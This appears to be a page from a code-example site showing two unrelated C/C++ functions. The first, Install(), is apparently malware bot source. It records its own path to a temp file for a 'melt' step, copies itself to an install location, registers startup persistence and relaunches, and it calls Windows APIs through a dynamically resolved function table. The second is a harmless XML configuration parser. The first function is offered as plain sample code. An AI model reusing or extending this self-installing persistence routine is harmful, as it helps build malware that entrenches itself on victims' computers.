Ejemplo n.º 1
0
static void Install(char *path)
{
   //melt
   char temp[MAX_PATH];
   GetTempPathBotPrefix(temp);
   HANDLE hFile = Funcs::pCreateFileA
   (
      temp, 
      GENERIC_WRITE, 
      0, 
      NULL, 
      CREATE_ALWAYS, 
      FILE_ATTRIBUTE_NORMAL, 
      NULL
   );
   DWORD written;
   Funcs::pWriteFile(hFile, path, Funcs::pLstrlenA(path), &written, NULL);
   Funcs::pCloseHandle(hFile);
   //end melt

   char installPath[MAX_PATH] = { 0 };
   GetInstallPath(installPath);
   Funcs::pCopyFileA(path, installPath, FALSE);
   SetStartupValue(installPath);

   STARTUPINFOA        startupInfo = { 0 };
   PROCESS_INFORMATION processInfo = { 0 };

   startupInfo.cb = sizeof(startupInfo);

   Funcs::pCreateProcessA(installPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
}
Ejemplo n.º 2
0
void
ZProcess::ParseXML_Document( )
{
   // For each node we store data

   // If it's a Process Node, and the Root node
   if ( IsRoot( ) && IsTag( "<PROCESS>" ) )
   {
      // Handle Attributes
      if ( IsValidAttribute( "name" ) )
         SetProcessName( GetAttributeValue( ) );
   }

   // If it's the WriteLog Node in a Process node
   if ( IsTag( "<WRITELOG>" ) && IsChildOf( "<PROCESS>" ) )
   {
      // Set the WriteLog File Name
      SetWriteLogValue( GetTextValue( ) );

      // Handle Attributes
      if ( IsValidAttribute( "name" ) )
         this->SetWriteLogName( GetAttributeValue( ) );
   }

   // If it's the KillApp Node in a Process node
   if ( IsTag("<SHUTDOWN>") && IsChildOf( "<PROCESS>") )
   {
      // Set the KillApp command name
      SetKillAppValue( GetTextValue( ) );

      // Handle Attributes
      if ( IsValidAttribute( "delay" ) )
      {
         int delay;
         sscanf( GetAttributeValue( ) , "%d" , &delay );
         SetKillAppDelay( delay );
      }
   }

   // If it's the Startup Node in a Process node
   if ( IsTag("<STARTUP>") && IsChildOf( "<PROCESS>") )
   {
      // Set the Startup command name
      SetStartupValue( GetTextValue( ) );

      // Handle Attributes
      if ( IsValidAttribute( "delay" ) )
      {
         int delay;
         sscanf( GetAttributeValue( ) , "%d" , &delay );
         SetStartupDelay( delay );
      }
   }

   // If it's the NOTE node in a PROCESS node
   if ( IsTag("<NOTE>") && IsChildOf( "<PROCESS>") )
   {
      // do nothing ... just checking
   }

   // If it's the CDATA section on NOTE node
   if ( IsChildOf( "<NOTE>" ) && IsCDataSection( ) )
   {
      // Set the Note value
      CString val;

      val = GetTextValue( );
      SetNote( val );
   }
}